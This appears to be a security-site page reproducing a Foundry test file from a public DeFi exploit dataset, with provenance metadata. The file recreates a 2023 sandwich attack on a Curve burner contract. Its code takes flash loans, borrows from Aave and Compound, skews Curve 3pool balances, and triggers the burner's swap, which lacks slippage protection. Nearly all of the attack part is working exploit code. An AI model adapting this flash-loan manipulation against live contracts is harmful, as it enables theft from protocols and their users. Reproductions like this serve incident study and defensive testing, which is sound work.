Skip to content
THREATWIRE

Public reproduction file

src/test/2023-08/CurveBurner_exp.sol

Public reproduction file for dataset entry CurveBurner.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2023-08/CurveBurner_exp.sol150 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3
4import "forge-std/Test.sol";
5import "./../interface.sol";
6
7// @KeyInfo - Total Lost : ~$36k USD$
8// Attacker : https://etherscan.io/address/0xccc526e2433db1eebb9cbf6acd7f03a19408278c
9// Attack Contract : https://etherscan.io/address/0x915dff6707bea63daea1b41aa5d37353229066ba
10// Vulnerable Contract : https://etherscan.io/address/0x786b374b5eef874279f4b7b4de16940e57301a58
11// Attack Tx : https://etherscan.io/tx/0xd493c73397952049644c531309df3dd4134bf3db1e64eb6f0b68b016ee0bffde
13// @Info
14// Vulnerable Contract Code : https://etherscan.io/address/0x786b374b5eef874279f4b7b4de16940e57301a58#code
16// @Analysis
17// Post-mortem : https://medium.com/@Hypernative/exotic-culinary-hypernative-systems-caught-a-unique-sandwich-attack-against-curve-finance-6d58c32e436b
19interface ICurveBurner {
20 function execute() external;
23interface ICurve {
24 function add_liquidity(uint256[3] memory amounts, uint256 min_mint_amount) external;
26 function remove_liquidity_imbalance(uint256[3] memory amounts, uint256 max_burn_amount) external;
28 function remove_liquidity_one_coin(uint256 token_amount, int128 i, uint256 min_amount) external;
31contract ContractTest is Test {
32 ICurveBurner CurveBurner = ICurveBurner(0x786B374B5eef874279f4B7b4de16940e57301A58);
33 IERC20 wstETH = IERC20(0x7f39C581F595B53c5cb19bD0b3f8dA6c935E2Ca0);
34 IWETH WETH = IWETH(payable(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2));
35 IERC20 USDT = IERC20(0xdAC17F958D2ee523a2206206994597C13D831ec7);
36 IERC20 USDC = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);
37 IERC20 DAI = IERC20(0x6B175474E89094C44Da98b954EedeAC495271d0F);
38 IERC20 LP = IERC20(0x6c3F90f043a72FA612cbac8115EE7e52BDe6E490);
39 crETH cETH = crETH(0x4Ddc2D193948926D02f9B1fE9e1daa0718270ED5);
40 ICurve Curve3POOL = ICurve(0xbEbc44782C7dB0a1A60Cb6fe97d0b483032FF1C7);
41 ICErc20Delegate cUSDT = ICErc20Delegate(0xf650C3d88D12dB855b8bf7D11Be6C55A4e07dCC9);
42 ICointroller Cointroller = ICointroller(0x3d9819210A31b4961b30EF54bE2aeD79B9c9Cd3B);
43 IBalancerVault Balancer = IBalancerVault(0xBA12222222228d8Ba445958a75a0704d566BF2C8);
44 IAaveFlashloan aaveV2 = IAaveFlashloan(0x7d2768dE32b0b80b7a3454c06BdAc94A69DDc7A9);
45 IAaveFlashloan aaveV3 = IAaveFlashloan(0x87870Bca3F3fD6335C3F4ce8392D69350B4fA4E2);
47 function setUp() public {
48 vm.createSelectFork("mainnet", 17_823_542);
49 vm.label(address(WETH), "WETH");
50 vm.label(address(USDC), "USDC");
51 vm.label(address(CurveBurner), "CurveBurner");
52 vm.label(address(Curve3POOL), "Curve3POOL");
53 vm.label(address(DAI), "DAI");
54 vm.label(address(wstETH), "wstETH");
55 vm.label(address(USDT), "USDT");
56 vm.label(address(LP), "LP");
57 vm.label(address(cETH), "cETH");
58 vm.label(address(cUSDT), "cUSDT");
59 vm.label(address(Balancer), "Balancer");
60 vm.label(address(aaveV2), "aaveV2");
61 vm.label(address(aaveV3), "aaveV3");
62 }
64 function testExploit() external {
65 deal(address(this), 0);
67 address[] memory tokens = new address[](3);
68 tokens[0] = address(wstETH);
69 tokens[1] = address(WETH);
70 tokens[2] = address(USDT);
71 uint256[] memory amounts = new uint256[](3);
72 amounts[0] = 35_986 ether;
73 amounts[1] = 79_768 ether;
74 amounts[2] = 10_744_911 * 1e6;
75 bytes memory userData = "";
76 Balancer.flashLoan(address(this), tokens, amounts, userData);
78 emit log_named_decimal_uint(
79 "Attacker USDT balance after exploit", USDT.balanceOf(address(this)), USDT.decimals()
80 );
81 }
83 function receiveFlashLoan(
84 address[] memory tokens,
85 uint256[] memory amounts,
86 uint256[] memory feeAmounts,
87 bytes memory userData
88 ) external {
89 wstETH.approve(address(aaveV3), wstETH.balanceOf(address(this)));
90 aaveV3.supply(address(wstETH), wstETH.balanceOf(address(this)), address(this), 0); // deposit wstETH to aaveV3
91 aaveV3.borrow(address(USDT), 40_000_000 * 1e6, 2, 0, address(this)); // borrow USDT from aaveV3
93 WETH.approve(address(aaveV2), WETH.balanceOf(address(this)));
94 aaveV2.deposit(address(WETH), 50_000 ether, address(this), 0); // deposit WETH to aaveV2
95 aaveV2.borrow(address(USDT), 65_000_000 * 1e6, 2, 0, address(this)); // borrow USDT from aaveV2
97 WETH.withdraw(29_000 ether);
99 address[] memory cTokens = new address[](2);
100 cTokens[0] = address(cETH);
101 cTokens[1] = address(cUSDT);
102 Cointroller.enterMarkets(cTokens); // enter cTokens market
103 cETH.mint{value: 29_000 ether}();
104 cUSDT.borrow(40_000_000 * 1e6); // borrow USDT from cUSDT
106 LP.approve(address(Curve3POOL), type(uint256).max);
107 USDC.approve(address(Curve3POOL), type(uint256).max);
108 DAI.approve(address(Curve3POOL), type(uint256).max);
109 TransferHelper.safeApprove(address(USDT), address(Curve3POOL), type(uint256).max);
110 TransferHelper.safeApprove(address(USDT), address(cUSDT), type(uint256).max);
111 TransferHelper.safeApprove(address(USDT), address(aaveV2), type(uint256).max);
112 TransferHelper.safeApprove(address(USDT), address(aaveV3), type(uint256).max);
114 uint256[3] memory amount;
115 amount[0] = 0;
116 amount[1] = 0;
117 amount[2] = USDT.balanceOf(address(this));
118 Curve3POOL.add_liquidity(amount, 1); // deposit USDT to Curve3POOL
120 amount[0] = DAI.balanceOf(address(Curve3POOL)) * 978 / 1000;
121 amount[1] = USDC.balanceOf(address(Curve3POOL)) * 978 / 1000;
122 amount[2] = 0;
123 Curve3POOL.remove_liquidity_imbalance(amount, LP.balanceOf(address(this))); // withdraw DAI and USDC from Curve3POOL
125 CurveBurner.execute(); // add only USDT liquidity to Curve3POOL -> swap USDT to DAI and USDC without slippage protection
127 amount[0] = DAI.balanceOf(address(this));
128 amount[1] = USDC.balanceOf(address(this));
129 amount[2] = 0;
130 Curve3POOL.add_liquidity(amount, 1); // deposit DAI and USDC to Curve3POOL
132 Curve3POOL.remove_liquidity_one_coin(LP.balanceOf(address(this)), 2, 1); // withdraw USDT from Curve3POOL
134 cUSDT.repayBorrow(cUSDT.borrowBalanceCurrent(address(this))); // repay USDT to cUSDT
135 cETH.redeemUnderlying(29_000 ether); // withdraw ETH from cETH
137 WETH.deposit{value: 29_000 ether}();
138 aaveV2.repay(address(USDT), 65_000_000 * 1e6, 2, address(this)); // repay USDT to aaveV2
139 aaveV2.withdraw(address(WETH), 50_000 ether, address(this)); // withdraw WETH from aaveV2
141 aaveV3.repay(address(USDT), 40_000_000 * 1e6, 2, address(this)); // repay USDT to aaveV3
142 aaveV3.withdraw(address(wstETH), type(uint256).max, address(this)); // withdraw wstETH from aaveV3
144 IERC20(tokens[0]).transfer(msg.sender, amounts[0] + feeAmounts[0]);
145 IERC20(tokens[1]).transfer(msg.sender, amounts[1] + feeAmounts[1]);
146 TransferHelper.safeTransfer(tokens[2], msg.sender, amounts[2] + feeAmounts[2]);
147 }
149 receive() external payable {}

Analysis

Dataset entry

Public Foundry test for “CurveBurner” (2023-08-02). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

12 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0xccc526e2433db1eebb9cbf6acd7f03a19408278c

  • Attack Contract

    0x915dff6707bea63daea1b41aa5d37353229066ba

  • Vulnerable Contract

    0x786b374b5eef874279f4b7b4de16940e57301a58

  • Attack Tx

    0xd493c73397952049644c531309df3dd4134bf3db1e64eb6f0b68b016ee0bffde

File record

Name
CurveBurner
Path
src/test/2023-08/CurveBurner_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
6cb488660facb0fe2a2f0846d479ffa06c1a30d8
Language
Solidity
Size
151 lines
Date
2023-08-02
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2023-08/CurveBurner_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 6cb488660facb0fe2a2f0846d479ffa06c1a30d8, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.